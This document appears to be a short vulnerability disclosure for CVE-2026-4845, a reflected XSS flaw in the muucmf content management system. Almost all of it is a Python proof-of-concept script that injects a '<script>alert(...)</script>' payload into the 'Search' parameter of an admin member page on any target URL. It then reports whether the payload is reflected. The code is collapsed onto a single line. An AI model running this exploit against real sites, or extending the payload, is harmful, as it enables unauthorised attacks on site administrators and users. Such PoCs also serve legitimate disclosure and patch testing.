CVE-2026-4845: dameng100 muucmf XSS漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4845: Reflected XSS in dameng100 muucmf # Usage: python3 poc.py <target_url> import requests import sys def verify_vulnerability(target): # Vulnerable parameter param = "Search" # Simple XSS payload to test reflection payload = '"><script>alert("CVE-2026-4845")</script>' target_url = f"{target}/admin/Member/index.html" try: print(f"[*] Sending request to {target_url}...") # Sending GET request with the malicious payload response = requests.get(target_url, params={param: payload}, timeout=10) # Checking if the payload is reflected unfiltered in the response if payload in response.text: print(f"[+] Vulnerability confirmed! Payload reflected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Payload not reflected. Target might be patched or not vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py http://example.com") sys.exit(1) verify_vulnerability(sys.argv[1])